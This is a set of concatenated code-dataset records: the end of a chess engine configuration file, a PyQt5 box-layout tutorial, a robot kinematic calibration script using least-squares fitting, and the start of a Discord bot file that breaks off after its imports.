games in buffer (Should not exceed RAM!)\n self.batch_size = 4096\n\n if config_type == \"school\":\n self.num_simulations = 128\n self.num_actors = 1\n self.num_threads = 16\n self.max_moves = 128\n self.vram_frac = 0.07\n\n self.cnn_filter_num = 256\n self.res_layer_num = 1\n self.value_fc_size = 256\n self.t_history = 1\n self.input_stack_height = 7 + self.t_history * 14\n\n self.window_size = 40 # Max number of games in buffer (Should not exceed RAM!)\n self.batch_size = 4096\n\n if config_type == \"test\":\n self.num_simulations = 40\n self.num_actors = 1\n self.num_threads = 16\n self.max_moves = 32\n self.max_games_in_buffer = 10\n self.vram_frac = 0.1\n\n self.cnn_filter_num = 256\n self.res_layer_num = 1\n self.value_fc_size = 256\n self.t_history = 1\n self.input_stack_height = 7 + self.t_history * 14\n\n self.window_size = 40 # Max number of games in buffer (Should not exceed RAM!)\n self.batch_size = 256 # 4096\n\n # Taken from Benediamond's Repository\n def change_pov(self, leaf):\n new = np.zeros(self.n_labels)\n for f in range(8):\n for r in range(8):\n for v in range(73):\n if v in range(56):\n block = v // 14\n position = v % 14\n if position >= 7:\n new_position = position - 7\n else:\n new_position = position + 7\n new_v = block * 14 + new_position\n elif v in range(56, 64):\n if v % 2 == 0:\n new_v = v + 1\n else:\n new_v = v - 1\n else:\n new_v = v\n new[v * 64 + r * 8 + f] = leaf[new_v * 64 + (7 - r) * 8 + (7 - f)]\n return list(new)\n\n\nclass ResourceConfig:\n def __init__(self):\n self.project_dir = os.environ.get(\"PROJECT_DIR\", get_project_dir())\n self.data_dir = os.environ.get(\"DATA_DIR\", get_data_dir())\n self.model_dir = os.environ.get(\"MODEL_DIR\", os.path.join(self.data_dir, \"model\"))\n self.old_model_dir = os.path.join(self.model_dir, \"old_models\")\n self.play_data_dir = os.path.join(self.data_dir, \"play_data\")\n self.log_dir = os.path.join(self.project_dir, \"logs\")\n self.main_log_path = os.path.join(self.log_dir, \"main.log\")\n\n self.model_dirname_tmpl = \"model_%s\"\n self.model_config_filename = \"model_config.json\"\n self.model_weight_filename = \"model_weight.h5\"\n self.play_data_filename_tmpl = \"play_%s.json\"\n\n def create_directories(self):\n dirs = [self.project_dir, self.data_dir, self.model_dir, self.play_data_dir, self.log_dir, self.old_model_dir]\n for d in dirs:\n if not os.path.exists(d):\n os.makedirs(d)\n\n\nclass EvaluateConfig:\n def __init__(self):\n self.Replace_rate = 0.55\n self.game_num = 100\n self.nb_game_in_file = 100\n self.max_file_num = 400\n self.simulations_per_move = 200\n self.noise_eps = 0\n\n\nclass TrainerConfig:\n def __init__(self):\n self.batch_size = 32\n self.cleaning_processes = 8\n self.vram_frac = 1.0\n self.epoch_to_checkpoint = 1\n self.start_total_steps = 0\n self.save_model_steps = 10000\n self.load_data_steps = 1000\n self.min_data_size_to_learn = 10000\n self.max_num_files_in_memory = 20\n\n\nclass ModelConfig:\n def __init__(self):\n self.cnn_filter_num = 256\n self.cnn_filter_size = 3\n self.res_layer_num = 19\n self.l2_reg = 1e-4\n self.value_fc_size = 256\n self.t_history = 8\n self.input_stack_height = 7 + self.t_history*14\n\n\ndef create_uci_labels():\n labels = {}\n for f in range(8):\n for r in range(8):\n for v in range(0, 7):\n f_new = f + (v + 1)\n _add_move(labels, v, f, r, f_new, r)\n for v in range(7, 14):\n f_new = f - (v - 6)\n _add_move(labels, v, f, r, f_new, r)\n for v in range(14, 21):\n r_new = r + (v - 13)\n _add_move(labels, v, f, r, f, r_new)\n for v in range(21, 28):\n r_new = r - (v - 20)\n _add_move(labels, v, f, r, f, r_new)\n for v in range(28, 35):\n f_new = f + (v - 27)\n r_new = r + (v - 27)\n _add_move(labels, v, f, r, f_new, r_new)\n for v in range(35, 42):\n f_new = f - (v - 34)\n r_new = r - (v - 34)\n _add_move(labels, v, f, r, f_new, r_new)\n for v in range(42, 49):\n f_new = f + (v - 41)\n r_new = r - (v - 41)\n _add_move(labels, v, f, r, f_new, r_new)\n for v in range(49, 56):\n f_new = f - (v - 48)\n r_new = r + (v - 48)\n _add_move(labels, v, f, r, f_new, r_new)\n _add_move(labels, 56, f, r, f + 2, r + 1)\n _add_move(labels, 57, f, r, f - 2, r - 1)\n _add_move(labels, 58, f, r, f + 1, r + 2)\n _add_move(labels, 59, f, r, f - 1, r - 2)\n _add_move(labels, 60, f, r, f + 2, r - 1)\n _add_move(labels, 61, f, r, f - 2, r + 1)\n _add_move(labels, 62, f, r, f + 1, r - 2)\n _add_move(labels, 63, f, r, f - 1, r + 2)\n if r == 6:\n _add_move(labels, 64, f, r, f, r + 1, 4)\n _add_move(labels, 65, f, r, f, r + 1, 3)\n _add_move(labels, 66, f, r, f, r + 1, 2)\n _add_move(labels, 67, f, r, f + 1, r + 1, 4)\n _add_move(labels, 68, f, r, f + 1, r + 1, 3)\n _add_move(labels, 69, f, r, f + 1, r + 1, 2)\n _add_move(labels, 70, f, r, f - 1, r + 1, 4)\n _add_move(labels, 71, f, r, f - 1, r + 1, 3)\n _add_move(labels, 72, f, r, f - 1, r + 1, 2)\n elif r == 1:\n _add_move(labels, 64, f, r, f, r - 1, 4)\n _add_move(labels, 65, f, r, f, r - 1, 3)\n _add_move(labels, 66, f, r, f, r - 1, 2)\n _add_move(labels, 67, f, r, f - 1, r - 1, 4)\n _add_move(labels, 68, f, r, f - 1, r - 1, 3)\n _add_move(labels, 69, f, r, f - 1, r - 1, 2)\n _add_move(labels, 70, f, r, f + 1, r - 1, 4)\n _add_move(labels, 71, f, r, f + 1, r - 1, 3)\n _add_move(labels, 72, f, r, f + 1, r - 1, 2)\n return labels\n\n\ndef _add_move(labels, v, f, r, f_new, r_new, promotion=None):\n if f_new in range(0, 8) and r_new in range(0, 8):\n labels[chess.Move(r * 8 + f, r_new * 8 + f_new, promotion)] = v * 64 + r * 8 + f\n if promotion is None and (r == 6 and r_new == 7 and abs(f_new - f) <= 1 or r == 1\n and r_new == 0 and abs(f_new - f) <= 1):\n labels[chess.Move(r * 8 + f, r_new * 8 + f_new, 5)] = v * 64 + r * 8 + f # add a default queen promotion.\n", "sub_path": "config.py", "file_name": "config.py", "file_ext": "py", "file_size_in_byte": 10875, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.dirname", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 161, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 186, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 186, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 187, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 187, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 188, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 188, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 188, "usage_type": "call"}, {"api_name": "os.path", "line_number": 188, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 189, "usage_type": "call"}, {"api_name": "os.path", "line_number": 189, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 190, "usage_type": "call"}, {"api_name": "os.path", "line_number": 190, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 191, "usage_type": "call"}, {"api_name": "os.path", "line_number": 191, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 192, "usage_type": "call"}, {"api_name": "os.path", "line_number": 192, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 202, "usage_type": "call"}, {"api_name": "os.path", "line_number": 202, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 203, "usage_type": "call"}, {"api_name": "chess.Move", "line_number": 305, "usage_type": "call"}, {"api_name": "chess.Move", "line_number": 308, "usage_type": "call"}]} {"seq_id": "319373503", "text": "#!/usr/bin/python3\n\n\"\"\"\nZetCode PyQt5 tutorial\n\"\"\"\n\nimport sys\nfrom PyQt5.QtWidgets import (QWidget, QApplication, QPushButton,\n QHBoxLayout, QVBoxLayout)\n\nclass Example(QWidget):\n def __init__(self):\n QWidget.__init__(self)\n\n self.initUI()\n\n def initUI(self):\n ok_button = QPushButton(\"OK\")\n cancel_button = QPushButton(\"Cancel\")\n\n hbox = QHBoxLayout()\n hbox.addStretch(1)\n hbox.addWidget(ok_button)\n hbox.addWidget(cancel_button)\n\n vbox = QVBoxLayout()\n vbox.addStretch(1)\n vbox.addLayout(hbox)\n\n self.setLayout(vbox)\n\n self.setGeometry(300, 300, 250, 150)\n self.setWindowTitle('Buttons')\n self.show()\n\n\napp = QApplication(sys.argv)\nex = Example()\nsys.exit(app.exec_())\n\n", "sub_path": "pyqt/zetcode/layout_management/box_layout.py", "file_name": "box_layout.py", "file_ext": "py", "file_size_in_byte": 812, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 11, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QWidget.__init__", "line_number": 13, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 13, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 18, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 19, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 21, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 26, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 37, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 37, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 39, "usage_type": "call"}]} {"seq_id": "85120310", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri May 18 08:29:40 2018\r\nVersion: 0.0.01\r\n@author: e10509\r\n\"\"\"\r\n\r\n# In[1]\r\nimport timeit\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n#import tkinter\r\nimport pandas as pn\r\n\r\nfrom utilities import *\r\n\r\n#import xlsxwriter \r\nget_ipython().magic('matplotlib inline')\r\nplt.rcParams['figure.figsize'] = (10.0, 4.0) # set default size of plots\r\nplt.rcParams['image.interpolation'] = 'nearest'\r\nplt.rcParams['image.cmap'] = 'gray'\r\n#plt.style.use('presentation')\r\n\r\nget_ipython().magic('load_ext autoreload')\r\nget_ipython().magic('autoreload 2')\r\n\r\n\r\ntrainData = pn.read_excel('sample.xlsx')\r\ntestData = pn.read_excel('sample2.xlsx')\r\n#print the column names\r\nprint (trainData.columns)\r\n\r\n\r\nm = len(trainData['X'])\r\nm1 = len(testData['X'])\r\nnumParameters = 24 # number of parameters\r\n\r\ntrainq_ref = np.zeros((6,m), dtype = np.float32)\r\ntestq_ref = np.zeros((6,m1), dtype = np.float32)\r\n\r\n\r\ntrainq_ref[0,:] = (trainData['A1'].values)\r\ntrainq_ref[1,:] = (trainData['A2'].values) \r\ntrainq_ref[2,:] = (trainData['A3'].values)\r\ntrainq_ref[3,:] = (trainData['A4'].values)\r\ntrainq_ref[4,:] = (trainData['A5'].values)\r\ntrainq_ref[5,:] = (trainData['A6'].values)\r\n\r\ntrainq_ref = trainq_ref*D2R #(q_ref*PI)/180 \r\n#print(q_ref[0,:])\r\n#print(q_ref[:,0])\r\ntestq_ref[0,:] = testData['A1'].values\r\ntestq_ref[1,:] = testData['A2'].values\r\ntestq_ref[2,:] = testData['A3'].values\r\ntestq_ref[3,:] = testData['A4'].values\r\ntestq_ref[4,:] = testData['A5'].values\r\ntestq_ref[5,:] = testData['A6'].values\r\n\r\ntQ_ref = D2R*testq_ref\r\nprint(testq_ref.shape)\r\n\r\n\r\nP_n = Matrix([a[0],alp[0],d[1],q[1],a[1],alp[1],d[2],q[2],a[2],alp[2],d[3],q[3],\r\n a[3],alp[3],d[4],q[4],a[4],alp[4],d[5],q[5],a[5],alp[5],d[6],q[6]])\r\n\r\n\r\ndef measuredX(data):\r\n l = len(data['X'])\r\n mX = np.zeros((3*l,1), dtype = np.float32)\r\n countt = 0\r\n for j in range(0,l):\r\n mX[countt,0] = (data['X'].values)[j] #val_mX[j]\r\n mX[countt+1,0] = (data['Y'].values)[j] #val_mY[j]\r\n mX[countt+2,0] = (data['Z'].values)[j] #val_mZ[j]\r\n countt +=3\r\n return mX\r\n \r\n#Test\r\n#mx = measuredX(trainData)\r\n#print(mx[0:3,:])\r\n\r\n\r\n\r\ndef Xr_and_Jacobian(nParam,jointConfig,theta_ref,dq,Tool):\r\n l = theta_ref.shape[1] \r\n count = 0\r\n agrX = np.zeros((1,1), dtype = np.float32)\r\n agrH = np.zeros((1,24), dtype = np.float32)\r\n m = (l*3) + 1\r\n for j in range (0,l):\r\n\r\n changeConfiguration(jointConfig,theta_ref[:,j],dq)\r\n# print(\"this is qref:\" + str(q_ref[:,j]))\r\n xr,jq = Jacobian(nParam,jointConfig,Tool) # joint configuration is substittuted\r\n \r\n agrH = np.concatenate((agrH,jq),axis = 0)#np.vstack((agrH,jq))\r\n agrX = np.concatenate((agrX,xr),axis = 0)#np.vstack((agrX,xr))\r\n \r\n \r\n# agrX[count,0] = xr[0,0]\r\n# agrX[count+1,0] = xr[1,0]\r\n# agrX[count+2,0] = xr[2,0]\r\n# \r\n## obIndx.append(observIndex(jq))\r\n# agrH[count:count+3,:] = jq\r\n# count +=3\r\n# print(agrH[-1,:])\r\n return agrX[1:m],agrH[1:m,:]\r\n# In[7]\r\n#xr,Jr =Xr_and_Jacobian(nTestParam,jointConfig,tQ_ref,jointdq,\"Tool_2\")\r\npList,pol = calibConfigSelect(nTestParam,tQ_ref,'Tool_2')\r\nprint(pList)\r\nprint(pol)\r\n\r\n\r\nlp = [x for x in range(10)]\r\nprint(lp)\r\n#print(Jr[-1,:])\r\n#print(xr.shape)\r\n#plt.plot(np.squeeze(obIn))\r\n#plt.ylabel('ObservIndx')\r\n#plt.xlabel('test Configuration')\r\n#plt.title('observability Index')\r\n#plt.show() \r\n \r\n#\r\n \r\ndef A_and_DJ(nParam,jointConfig,theta_ref,dq,Tool):\r\n l = theta_ref.shape[1]\r\n J_dna = np.zeros((3*l,14), dtype = np.float32)\r\n \r\n Xr,Jr = Xr_and_Jacobian(nParam,jointConfig,theta_ref,dq,Tool)\r\n# J_dna[:,0:20] = Jr[:,4:24]\r\n \r\n J_dna[:,0:3] = Jr[:,4:7]\r\n J_dna[:,3:5] = Jr[:,8:10]\r\n J_dna[:,5:8] = Jr[:,12:15] \r\n J_dna[:,8:11] = Jr[:,16:19] \r\n J_dna[:,11:14] = Jr[:,20:23] \r\n# J_dna[:,15:18] = Jr[:,20:23] \r\n# J_dna[:,21:23] = Jr[:,22:24]\r\n# J_dna[:,6:19] = Jr[:,11:24]\r\n# print(J_dna)\r\n# for k in range(0,12):\r\n# \r\n# J_dna[:,k] = Jr[:,2*k]\r\n \r\n return Xr,J_dna\r\n \r\n# \r\n\"\"\"\r\nThis fucntion do non-linear leastsquare optimization to calibrate robot kinematic parameter\r\nWe plan to try jacobian of position w.r.t kin parameters i.e. J= dP/d(a,alpha,d,theta) \r\nuse sysmbolic python for that purpose. In selecting the measured data point for calibiration\r\nObservability measure is considered.\r\n\r\n\"\"\"\r\ndef nLCalibration_NLS(num_iterations,learning_rate,epislon,print_costs=False):\r\n \r\n \r\n \"\"\"\r\n mX --- measured cartesian position using laser tracker\r\n n_P -- nominal kinemartic parameter\r\n Xr --- rference position to calibrate on\r\n qr -- joint position corresponding to Xr\r\n lr --- cosntant learning rate to update the kinematics parameter based on least square error\r\n epislon --- convergence chrateria \r\n \r\n \"\"\"\r\n# m = qr.shape[1]\r\n numParam = 24#14\r\n costs = []\r\n detr = []\r\n\r\n mX = measuredX(trainData)\r\n\r\n pk = np.zeros((numParam,1), dtype = np.float32)\r\n# mP = np.zeros((3,1), dtype = np.float32)\r\n err = 0\r\n \r\n mu = 0.01\r\n muI = mu*(np.identity(numParam))\r\n \r\n prevL_k = 0\r\n \r\n# ro = 0.25\r\n# gama = 0.75\r\n\r\n#######################aggrigate Methods(Levenbrg Marquardt-LM)################ \r\n for i in range(0,num_iterations):\r\n if (i==0):\r\n muI = muI/10.0\r\n# if (i>=100):\r\n# mu = 0.001\r\n startTime = timeit.default_timer() \r\n Xr,idfJ= Xr_and_Jacobian(nTestParam,jointConfig,trainq_ref,jointdq,\"Tool_1\")\r\n \r\n# Xr,idfJ = A_and_DJ(nTestParam,jointConfig,trainq_ref[:,0:20],jointdq,\"Tool_1\")\r\n condNumber = np.linalg.cond(idfJ)\r\n er = (mX - Xr)\r\n# print(idfJ.shape)\r\n gk = -2*((idfJ.transpose()).dot(er)) # gradient of loss function evealuated @\r\n# print(gk.shape)\r\n G_k = 2*((idfJ.transpose()).dot(idfJ) + muI)\r\n# print(G_k.shape)\r\n pk = -1*(np.linalg.inv(G_k)).dot(gk)\r\n# print(pk.shape)\r\n\r\n updateParameters(nTestParam,jointdq,pk,learning_rate,'M1')\r\n \r\n# # compute cost and appened to costs list\r\n \r\n L_k = np.sqrt(compute_cost(Xr,mX))\r\n\r\n if (L_k > prevL_k):\r\n muI = muI*10\r\n# else:\r\n# muI = muI/10\r\n \r\n prevL_k = L_k\r\n endTime = timeit.default_timer()\r\n# print(endTime - startTime)\r\n# if(np.abs(L_k - prevL_k) <= 1e-3): #ignore the mu value when solution approach convergance\r\n# mu = 0.0001\r\n# \r\n if print_costs and i % 10 == 0:\r\n \r\n print(\"Cost after iteration {}: {}\".format(i, np.squeeze(L_k)))\r\n detr.append(condNumber)\r\n \r\n if print_costs:# and i % 10 == 0:\r\n \r\n costs.append(L_k)\r\n \r\n \r\n if(L_k < epislon): \r\n return \r\n \r\n \r\n # Plot result\r\n print(\"Improvment in Accuracy is:\"+str((costs[0] - costs[-1])*100/costs[0])+\"%\")\r\n plt.plot(np.squeeze(costs))\r\n plt.ylabel('cost')\r\n plt.xlabel('iterations (per tens)')\r\n plt.title(\"Learning rate =\" + str(learning_rate))\r\n plt.show() \r\n d = {\"costs\": costs,\r\n \"clibratedParameter\": nTestParam, \r\n \"calibratedJoint\" : jointdq, \r\n \"learning_rate\" : learning_rate,\r\n \"determinant_idfJ\": detr}\r\n return d\r\n\r\n# In[11]\r\n#startTime = timeit.default_timer()\r\n#\r\n#rd = nLCalibration_NLS(num_iterations=500,learning_rate=0.1,epislon =1e-3,print_costs=True)\r\n#with open('calibParameters.csv', 'w') as f:\r\n# [f.write('{0},{1}\\n'.format(key, value)) for key, value in rd.items()]\r\n#endTime = timeit.default_timer()\r\n#\r\n#print(endTime - startTime)\r\n#\r\n#print(rd[\"clibratedParameter\"])\r\n#print(rd[\"calibratedJoint\"])\r\n\r\n# In[12]\r\n\r\n\"\"\"\r\nThis fucntion do linear leastsquare optimization to calibrate robot kinematic parameter\r\nWe plan to try jacobian of position w.r.t kin parameters i.e. J= dP/d(a,alpha,d) \r\nuse sysmbolic python for that purpose. In selecting the calibration trajectory Observability is considered.\r\n\r\n\"\"\"\r\ndef nLCalibration_LS(num_iterations,learning_rate,epislon,full_parameters = True,print_costs=False):\r\n \r\n \r\n \"\"\"\r\n mX --- measured cartesian position using laser tracker\r\n n_P -- nominal kinemartic parameter\r\n Xr --- rference position to calibrate on\r\n qr -- joint position corresponding to Xr\r\n lr --- cosntant step size to update the kinematics parameter based on least square error\r\n epislon --- convergence chrateria \r\n \r\n \"\"\"\r\n# m = qr.shape[1]\r\n\r\n costs = []\r\n ObIndx = []\r\n# parameters = nParameters\r\n\r\n mX = measuredX(trainData)\r\n# Xr,_ = aggregateJacobian(nTestParam,jointConfig,jointdq) # aggregate pose and jacobian\r\n pk = np.zeros((numParameters,1), dtype = np.float32)\r\n# mP = np.zeros((3,1), dtype = np.float32)\r\n err = 0\r\n \r\n#######################aggrigate Methods(Levenbrg Marquardt-LM)################ \r\n for i in range(0,num_iterations):\r\n# if (i==0):\r\n# muI = muI/10.0\r\n startTime = timeit.default_timer()\r\n# if (full_parameters):\r\n Xr,idfJ = Xr_and_Jacobian(nTestParam,jointConfig,trainq_ref,jointdq,\"Tool_1\") #aggregateJacobian(nTestParam,jointConfig,jointdq) #idfJ(identification jacobian)\r\n \r\n \r\n# Xr,idfJ = A_and_DJ(nTestParam,jointConfig,trainq_ref,jointdq,\"Tool_2\")\r\n\r\n er = (mX - Xr)\r\n# print(er)\r\n\r\n \r\n gk = np.linalg.pinv(idfJ,1e-8)#(np.linalg.inv(G_k)).dot(idfJ)\r\n pk = (gk.dot(er))\r\n \r\n condNumber = np.linalg.cond(idfJ)\r\n\r\n updateParameters(nTestParam,jointdq,pk,learning_rate,'M1')\r\n# \r\n############################################################################### \r\n# # compute cost and appened to costs list\r\n \r\n L_k = np.sqrt(compute_cost(Xr,mX))\r\n\r\n \r\n# prevL_k = L_k\r\n endTime = timeit.default_timer()\r\n# print(endTime - startTime)\r\n \r\n# \r\n if print_costs and i % 100 == 0:\r\n \r\n print(\"Cost after iteration {}: {}\".format(i, np.squeeze(L_k)))\r\n# print(pk[6])\r\n \r\n if print_costs:# and i % 10 == 0:\r\n \r\n costs.append(L_k)\r\n ObIndx.append(condNumber)\r\n if(L_k < epislon): \r\n return \r\n print(\"Improvment in Accuracy is:\"+str((costs[0] - costs[-1])*100/costs[0])+\"%\")\r\n plt.plot(np.squeeze(costs))\r\n plt.ylabel('cost')\r\n plt.xlabel('iterations (per tens)')\r\n plt.title(\"LS_learning rate =\" + str(learning_rate))\r\n plt.show() \r\n d ={\"costs\":costs,\"learning_rate\":learning_rate,\"calibratedParameters\":nTestParam,\"JointOffset\":jointdq}\r\n return d\r\n\r\n# In[13]\r\nstartTime = timeit.default_timer()\r\n\r\nparmd = nLCalibration_LS(num_iterations=2000,learning_rate=0.001,epislon =1e-3,full_parameters = True,print_costs=True)\r\n\r\n# write the result to file\r\nwith open('calibParametersLS.csv', 'w') as f:\r\n [f.write('{0},{1}\\n'.format(key, value)) for key, value in parmd.items()]\r\n\r\nendTime = timeit.default_timer()\r\n\r\nprint(endTime - startTime) \r\n\r\nprint(parmd[\"calibratedParameters\"])\r\nprint(parmd[\"JointOffset\"]) \r\n\r\n# In[14]\r\n#startTime = timeit.default_timer()\r\n#learning_rates = [0.1, 0.1, 0.1]\r\n#models = {}\r\n#for i in learning_rates:\r\n# print (\"learning rate is: \" + str(i))\r\n# models[str(i)] = nLCalibration_NLS(num_iterations=300,learning_rate=i,epislon =1e-3,print_costs=True)\r\n# print ('\\n' + \"-------------------------------------------------------\" + '\\n')\r\n#\r\n#for i in learning_rates:\r\n# plt.plot(np.squeeze(models[str(i)][\"costs\"]), label= str(models[str(i)][\"learning_rate\"]))\r\n#\r\n#plt.ylabel('cost')\r\n#plt.xlabel('iterations')\r\n#\r\n#legend = plt.legend(loc='upper center', shadow=True)\r\n#frame = legend.get_frame()\r\n#frame.set_facecolor('0.90')\r\n#plt.show()\r\n#\r\n#endTime = timeit.default_timer()\r\n#\r\n#print(endTime - startTime)\r\n\r\n# In[15]\r\n#evalute the performance\r\ncst = []\r\njConfig = {'q1':9.05880481e-02,\r\n 'q2':-1.37911820e+00,\r\n 'q3':-5.84525391e-02,\r\n 'q4':1.92422551e-04,\r\n 'q5':1.57268214e+00,\r\n 'q6':1.29712690e-02}\r\nqref = {'q1': -0.0019053210949872236, 'q2': -0.0074753436301932463, 'q3': 0.0067879131750221639,\r\n 'q4': 0.0019570135008669587, 'q5': -0.011103828843761083, 'q6': 0.67582795831979081}\r\n#for i in range(0,testq_ref.shape[1]):\r\n# \r\n# changeConfiguration(jConfig,testq_ref[:,i],qref)\r\n## print(jConfig)\r\n# xr,_ = FKI(nTestParam,jConfig,\"Tool_2\")\r\n# print(xr)\r\n#print(cst)\r\n#print(testq_ref.shape[1])\r\nXr,_ = Xr_and_Jacobian(nTestParam,jConfig,trainq_ref,jointdq,\"Tool_2\")\r\n#print(Xr)\r\nxm = measuredX(trainData)\r\nprint(xm.shape)\r\ncost = np.sqrt(compute_cost(xm,Xr))\r\n#print(xr)\r\n##print(jointdq)\r\ncst.append(nTestParam.values())\r\nprint(cost)\r\n\r\n#with open('aftercalib.csv', 'w') as f:\r\n# [f.write('{0}\\n,{1}\\n'.format(xr, xm))]\r\n\r\n", "sub_path": "nLSCalibration.py", "file_name": "nLSCalibration.py", "file_ext": "py", "file_size_in_byte": 13149, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "matplotlib.pyplot.rcParams", "line_number": 19, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 20, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 21, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "pandas.read_excel", "line_number": 28, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 38, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 39, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 69, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 87, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 88, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 130, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 177, "usage_type": "attribute"}, {"api_name": "numpy.identity", "line_number": 182, "usage_type": "call"}, {"api_name": "timeit.default_timer", "line_number": 195, "usage_type": "call"}, {"api_name": "numpy.linalg.cond", "line_number": 199, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 199, "usage_type": "attribute"}, {"api_name": "numpy.linalg.inv", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 206, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 213, "usage_type": "call"}, {"api_name": "timeit.default_timer", "line_number": 221, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 228, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 242, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 242, "usage_type": "name"}, {"api_name": "numpy.squeeze", "line_number": 242, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 243, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 243, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 244, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 244, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 245, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 245, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 246, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 246, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 295, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 295, "usage_type": "attribute"}, {"api_name": "timeit.default_timer", "line_number": 303, "usage_type": "call"}, {"api_name": "numpy.linalg.pinv", "line_number": 314, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 314, "usage_type": "attribute"}, {"api_name": "numpy.linalg.cond", "line_number": 317, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 317, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 324, "usage_type": "call"}, {"api_name": "timeit.default_timer", "line_number": 328, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 334, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 344, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 344, "usage_type": "name"}, {"api_name": "numpy.squeeze", "line_number": 344, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 345, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 345, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 346, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 346, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 347, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 347, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 348, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 348, "usage_type": "name"}, {"api_name": "timeit.default_timer", "line_number": 353, "usage_type": "call"}, {"api_name": "timeit.default_timer", "line_number": 361, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 415, "usage_type": "call"}]} {"seq_id": "82509956", "text": "import dateutil\nimport dateutil.parser\nimport yaml\nimport discord\nfrom 